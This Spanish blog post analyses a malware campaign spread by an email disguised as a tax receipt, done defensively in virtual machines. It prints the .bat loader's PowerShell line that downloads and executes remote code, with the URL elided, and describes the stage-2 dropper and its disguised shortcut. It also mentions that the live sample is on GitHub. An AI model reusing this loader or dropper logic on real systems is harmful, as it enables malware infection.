Analizando Mercado Libre 20th Anniversary Gifts

Imagen
 Análisis de mensaje Mercado Libre 20th Anniversary Gifts. En estos días se ha estado compartiendo  un mensaje a través de la aplicación de mensajería Whatsapp, donde supuesta mente Mercado Libre regalara Gifts por su aniversario número 20 y el cual lo catalogan como Phishing. Sin embargo en mi opinión, este no es un ataque de phishing ya que la definición de este es: " El phishing es un tipo de ataque de ingeniería social que se utiliza a menudo para robar datos del usuario, incluidas las credenciales de inicio de sesión y los números de tarjetas de crédito . Ocurre cuando un atacante, disfrazado de entidad confiable, engaña a una víctima para que abra un correo electrónico, mensaje instantáneo o mensaje de texto" De acuerdo a lo anterior y en resumen, el phishing es utilizado para robar credenciales o información personal de la victima, en este caso del famoso mensaje no recolecta ningún tipo de información, unicamente solicita sea compartido con más personas para "re

Analizando malware comprobante fiscal

Malware análisis de comprobante fiscal

Últimamente he observado muchas campañas para esparcir malware a través del correo electrónico, esto no es nuevo, de hecho Google creo un test para orientar a los usuarios acerca del como detectar correos fraudulentos leer aquí

En este entrada analizaremos un nuevo malware el cual recibí el día 29 de julio del 2019 vía correo.

La intención de realizar este tipo de entradas son meramente para aprendizaje mio y del usuario que este interesado y pueda ayudarlo aunque sea un poco en entender, como lo he mencionado en mi post anterior, no soy un experto en el analisis de malware y mucho menos en el reversing del mismo. 


NOTA:
1. Para llevar a cabo este analisis, hago uso de una máquina virtual con sistema operativo Ubuntu, favor de no usar su maquina base.
2. Para poder ejecutar el malware hago uso de una máquina virtual con Windows 10, para saber de las herramientas que uso, leer el post anterior.
3. No me hago responsable por el mal uso que le den a lo que se muestra aquí, así como  lo que les pueda pasar a sus máquinas física.

Realizar analisis de malware es muy peligroso si no se tiene el conocimiento básico para preparar el ambiente. favor de revisar el primer post mencionado anteriormente, en el se explica un poco esto.


Bien pues vasta de penas, todo inicia con el siguiente correo.

Correo recibido el día 29
Para saber a donde nos manda el hipervínculo, solo pasamos el mouse sobre el texto de color azul o damos click derecho sobre el texto y damos copiar dirección de hipervínculo, usando la segunda opción, nos da la liga y al acceder a esta desde nuestro navegador, nos descarga un archivo .zip.

 
Archivo descargado del correo

Al descargar y descomprimir el archivo .zip, muestra lo siguiente.

Descompresión de .zip

Se descomprime un archivo y un directorio (cambie los nombres para evitar problemas con los espacios), el contenido del directorio con el nombre files_evil, contiene el mismo archivo .bat y un ejecutable.

Contenido de directorio
Los archivos con la terminación .bat tienen las mismas instrucciones.

Comprobante_fiscal.bat

La imagen anterior, muestra el código que tiene el archivo .bat, lo que hacen estas instrucciones es mandar a llamar powershell y descargar un archivo nuevo, en la siguiente imagen se muestra el código modificado por mi (estructurado).

Comprobante_fiscal_alterado_v1
Código completo del primer stage
En pocas palabras, lo que esta haciendo es: 
  • @echo off: esta opción esta des-habilitando el echo en la terminal, cuando se hace esto y escribes algo en la terminal no aparece el prompt, en la siguiente imagen se puede observar lo que nos permite hacer el comando @echo off, este nos permite seguir escribiendo en las lineas de abajo sin que salga el prompt, como en las primeras lineas ejecutadas, para mayor información leer aquí.

Ejemplo:
Demostración del comando sin @echo off y cuando se ejecuta este mismo comando

  • cd %SystemRoot%\System32: este comando lo que hace es moverse al directorio System32.
  • set a=WindowsPowerShell\v1.0\powershell.exe -nop-win 1 -: Asigna el valor a la variable donde esta mandando a llamar una versión "vieja" de powershell.
  • set b=ieX("IeX(New-oBJeCt Net.WebClIeNt).DownloadString('http.......')"); : Asigna el valor a la variable donde crear un objeto web-client para descargar un archivo desde una URL.

En la imagen comprbante_fiscal.bat la última linea se observa el comando echo y al final de la linea el carácter pipe |. Esto lo que hace es direccionar lo que se escribe con el echo al final del comando de PowerShell, quedando de la siguiente manera:

  • WindowsPowerShell\v1.0\powershell.exe -nop-win 1 -ieX("IeX(New-Object Net.WebClient).DownloadString('http:........')");

Como se puede observar, el comando anterior descargara un archivo desde la dirección URL, a simple vista no se puede ver la terminación del archivo (ps1, bat, vbs, etc.).

Quiero creer que la forma de hacer esto, es para evitar la detección y pueda ejecutar sin ningún problema las instrucciones.

La URL que aparece en la imagen, usando wget descargue el archivo denominado 1445785485.

Archivo ofuscado

Como se puede ver en la imagen anterior, el contenido se encuentra "ofuscado", lo que se encuentra ofuscado son el nombre de las variables.

Usando este archivo hice una copia y coloque nombre de variables para su mejor comprensión.

Ofuscado vs des-ofuscado

Como se puede observar en la imagen anterior, del lado izquierdo el código ofuscado y del lado derecho la primera versión del archivo des-ofuscado (porque la primera versión?, tengo pensado recortar mas el código para no usar tantas variables y vaya directo), todo estos archivos los van a poder encontrar en mi Github.

Adicionalmente subí mi script de Python que utilice para de-codear los strings que están en base64, el código es corto y relativamente fácil, puede que tenga errores no soy experto :(.
Para poder correr el script se ejecuta ./decode_b64.py texto_en_base64, si no se corre el comando como en la imagen va a tirar error xD.

Ejemplo de decode base64


El archivo llamada decrypt.ps1, encontraras más limpio el código, revisando este podemos darnos cuenta que el malware esta creado o esta dirigido a brasil, por el idioma portugués (Arquivo), si me equivoco en el idioma por favor háganlo saber para corregirlo.

variable con nombre archivo
NOTA: A partir de aquí me empece apoyar en máquinas virtuales con Windows 10 pro, Windows 7 Ultimate, Ubuntu.

Para poder entender un poco mejor las funciones del documento ofuscado, en un archivo por separado saque la función que genera nombres aleatorios para hacer pruebas en una VM con windows 7 ultimate y me di cuenta que en esta versión de Windows se tiene un problema con un parámetro de esta función .


No se encuentra el parámetro ToUpper(), con esto tirara error al ejecutar el archivo en este sistema, sin embargo en una VM con Windows 10 Pro, este error no sucede.


como podemos ver en la imagen anterior, la función genera un nombre aleatorio "Java_nqxajz7_V".

En la siguiente imagen, podemos ver que esta asignado el valor que arrojo la función random a una variable y después esta comprobando una dirección en el directorio users, si esta dirección es True osea si existe deja de ejecutar, si es False, como en la mayoría de casos, ejecuta las instrucciones del else.

Descargando stage 2
El código que ejecuta en el else, lo que hace es:
  1. Crea el directorio con el nombre que arrojo la función random.
  2. Crea un nuevo objecto web-client y descarga dentro del directorio creado un archivo con nombre md.zip y lo renombra con el mismo nombre que el directorio.
  3. Crear un nuevo objeto como aplicación de consola, "descomprime" el archivo .zip (shell_app, var10, var11, var11.copyhere).
Al descomprimir estos archivos salen de esta forma.

unzip archivo md.zip (archivo random.zip)
Como se puede observar en la imagen anterior, vemos archivos como png y dll.

Continuando con la explicación de lo que hace el stage 2, una vez descomprimido el archivo comienza a cambiar los nombres y las exenciones:
      4. exe.png lo cambia a nombre_random.exe
      5. 12.dll lo cambia a nombre_random.LNS
      6. sql.png lo cambia a sqlite3.dll

Recordemos que nombre_random es el nombre que genera nuestra función_random.

Función 2
Dentro del mismo código encontramos una func_2, que hace es crear un acceso director con el incono de internet explorer el cual si se le da doble click manda a ejecutar el nombre_random.exe.

Aplicando la misma técnica anterior, incorpore la segunda función al archivo por separado y lo deje correr, en la siguiente imagen podemos observar lo mencionado anteriormente, descarga el archivo .zip, les asigna el mismo nombre que el directorio, descomprime el .zip y les asigna el mismo nombre random a los archivos.

Archivos descomprimidos

La misma función func_2, dentro del codigo manda a ejecura nombre_rando.exe "Java_khfxbs3_Q".

Hemos llegado al final de esta parte, no quiero hacer la lectura aburrida ni pesada, por este motivo decidi divir este analisis en más entradas, espero les agrade y que les haya podido enseñar algo nuevo hoy.

NOTA: por favor tengan cuidado con toda muestra que traten de correr en su ambiente virtual, algunos pueden brincar el proceso y salir de la VM.

Si alguien más quiere ir siguiendo los pasos, se encuentra la muestra en el Github, junto con el script que utilicé y el decrypt_v3 encontraran el stage2 con una forma "más" sencilla para estuadiarlo.

saludos by. p4y104d

Comentarios

Publicar un comentario

Entradas más populares de este blog

Reverse shell & Bind Shell

Generar Diccionarios de Ataques con Fuerza Bruta

TP-LINK WN722N v2 modo monito